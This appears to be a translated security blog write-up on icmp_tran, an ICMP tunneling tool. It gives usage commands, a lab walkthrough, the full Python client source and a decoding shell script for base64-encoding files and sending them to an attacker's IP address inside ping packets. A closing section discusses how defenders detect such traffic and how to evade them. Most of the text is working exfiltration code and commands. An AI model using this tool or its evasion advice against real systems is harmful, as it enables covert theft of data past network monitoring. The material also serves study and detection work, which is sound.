content
foreword
This article studies a tool for ICMP tunneling, icmp_tran
github:github.com/NotSoSecure/icmp_tunnel_ex_filtrate
I. Overview
1 Introduction
Last updated in 2015, written in Python, base64 encodes the file and transmits it via an ICMP packet
condition:
- The target machine can ping out
- Target machine administrator privileges
2. Principle
For the principle of ICMP tunnel, see: Intranet Penetration Series: ICMP Tunnel of Intranet Tunnel
3. Use
(1) Server
tucpdump listens for and downloads files
sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt
run the sh script
./tran.sh
(2) Client
windows
icmp_tran.exe <file> <attacker-IP>
linux
sudo python icmp_tran.py <file> <attacker-IP>
2. Practice
1. Scene
Attacker (server): kali 192.168.10.128
Target (client): ubuntu 192.168.10.129
The target machine can ping the attacking machine
2. Establish a tunnel
(1) Attack aircraft monitoring
tucpdump listens for and downloads files
sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt
(2) The target machine sends
Prepare a test.zip file
to establish a tunnel to send
sudo python icmp_tran.py test.zip 192.168.10.128
(3) Attack aircraft conversion
Receive file
for conversion
zip file successfully
3. Take a look at the package
You can see that they are all ICMP packets, and the data is base64 encoded.
3. Explore
1. Source code and analysis
(1)icmp_tran.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import time
import socket
import struct
import select
import random
import asyncore
import os
import sys
ICMP_ECHO_REQUEST = 8
TIME_OUT = 1 #时长视情况而定
ICMP_CODE = socket.getprotobyname('icmp')
ERROR_DESCR = {
1: ' - Note that ICMP messages can only be sent from processes running as root.',
10013: ' - Note that ICMP messages can only be sent by users or processes with administrator rights.'
}
__all__ = ['create_packet', 'send_packet', 'verbose_ping', 'PingQuery', 'multi_ping_query']
def checksum(source_string):
sum = 0
count_to = (len(source_string) / 2) * 2
count = 0
while count < count_to:
this_val = ord(source_string[count + 1])*256+ord(source_string[count])
sum = sum + this_val
sum = sum & 0xffffffff
count = count + 2
if count_to < len(source_string):
sum = sum + ord(source_string[len(source_string) - 1])
sum = sum & 0xffffffff
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
answer = ~sum
answer = answer & 0xffff
answer = answer >> 8 | (answer << 8 & 0xff00)
return answer
def create_packet(id):
"""构建一个echo request packet"""
# header的构造是type (8), code (8), checksum (16), id (16), sequence (16)
header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, 0, id, 1)
data = "$$START$$"+line
my_checksum = checksum(header + data)
header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), id, 1)
return header + data
def send_packet(dest_addr, timeout=TIME_OUT):
# 确认能发送
try:
my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
except socket.error as e:
if e.errno in ERROR_DESCR: # 不是高权限
raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
raise
try:
host = socket.gethostbyname(dest_addr) # host
except socket.gaierror:
return
# 创建packet
packet_id = int((id(timeout) * random.random()) % 65535)
packet = create_packet(packet_id)
# 发送packet
while packet:
sent = my_socket.sendto(packet, (dest_addr, 1))
packet = packet[sent:]
delay = receive_packet(my_socket, packet_id, time.time(), timeout)
my_socket.close()
return delay
def receive_packet(my_socket, packet_id, time_sent, timeout):
time_left = timeout
while True:
ready = select.select([my_socket], [], [], time_left)
if ready[0] == []: # Timeout
return
time_received = time.time()
rec_packet, addr = my_socket.recvfrom(1024)
icmp_header = rec_packet[20:28]
type, code, checksum, p_id, sequence = struct.unpack('bbHHh', icmp_header)
if p_id == packet_id:
return time_received - time_sent
time_left -= time_received - time_sent
if time_left <= 0:
return
def verbose_ping(dest_addr, timeout=2*TIME_OUT, count=1):
for i in range(count):
print('ping {}...'.format(dest_addr))
delay = send_packet(dest_addr, timeout)
if delay == None:
print('failed. (Timeout within {} seconds.)'.format(timeout))
else:
delay = round(delay * 1000.0, 4)
print('get ping in {} milliseconds.'.format(delay))
print('')
class PingQuery(asyncore.dispatcher):
def __init__(self, host, p_id, timeout=0.5, ignore_errors=False):
asyncore.dispatcher.__init__(self)
try:
self.create_socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
except socket.error as e:
if e.errno in ERROR_DESCR:
raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
raise
self.time_received = 0
self.time_sent = 0
self.timeout = timeout
self.packet_id = int((id(timeout) / p_id) % 65535)
self.host = host
self.packet = create_packet(self.packet_id)
if ignore_errors:
self.handle_error = self.do_not_handle_errors
self.handle_expt = self.do_not_handle_errors
def writable(self):
return self.time_sent == 0
def handle_write(self):
self.time_sent = time.time()
while self.packet:
sent = self.sendto(self.packet, (self.host, 1))
self.packet = self.packet[sent:]
def readable(self):
if (not self.writable()
and self.timeout < (time.time() - self.time_sent)):
self.close()
return False
return not self.writable()
def handle_read(self):
read_time = time.time()
packet, addr = self.recvfrom(1024)
header = packet[20:28]
type, code, checksum, p_id, sequence = struct.unpack("bbHHh", header)
if p_id == self.packet_id:
self.time_received = read_time
self.close()
def get_result(self):
if self.time_received > 0:
return self.time_received - self.time_sent
def get_host(self):
return self.host
def do_not_handle_errors(self):
pass
def create_socket(self, family, type, proto):
sock = socket.socket(family, type, proto)
sock.setblocking(0)
self.set_socket(sock)
self.family_and_type = family, type
def handle_connect(self):
pass
def handle_accept(self):
pass
def handle_close(self):
self.close()
def multi_ping_query(hosts, timeout=TIME_OUT, step=512, ignore_errors=False):
results, host_list, id = {
}, [], 0
for host in hosts:
try:
host_list.append(socket.gethostbyname(host))
except socket.gaierror:
results[host] = None
while host_list:
sock_list = []
for ip in host_list[:step]: #step最多是512
id += 1
sock_list.append(PingQuery(ip, id, timeout, ignore_errors))
host_list.remove(ip)
asyncore.loop(timeout)
for sock in sock_list:
results[sock.get_host()] = sock.get_result()
return results
if __name__ == '__main__':
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
print(msg)
file=sys.argv[1]
destination = sys.argv[2]
# os.system("certutil -encode "+ file +" test.txt") # windows
os.system("base64 "+ file +" > test.txt") # linux
f=open("test.txt", "r")
for line in f:
text1= line[0:32]
verbose_ping(destination)
host_list = [destination]
for host, ping in multi_ping_query(host_list).iteritems():
print(host, '=', ping)
(2)tran.sh
is base64 decoding to get the file
#!/bin/bash
strings output.txt >> output1.txt
echo "[+] parsing the output.txt file"
grep -i start output1.txt | uniq >> transmitted.txt
sed -i -e 's/\$\$START\$\$//g' transmitted.txt
echo "[+] cleaning"
rm output1.txt
rm output.txt
echo "[+] tranmistted.txt created"
cat transmitted.txt |base64 -d >>test
echo "[+] file test created"
2. Detection and bypass
(1) The number of abnormal ICMP packets
10 packets within 0.01s. Of course, this is not related to the strategy, and it can be changed to the same interval as ping. The main reason is that it is over after sending a file, so maybe the world's martial arts can be fast but not broken, depending on the situation.
(2) Abnormal ICMP packet length
already split
(3) payload content
The content of the payload is still something that cannot be avoided
Normal ping command:
windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567
The content is definitely different from the normal ping command,
but the content of send and receive are the same
Epilogue
Simply try how to upload files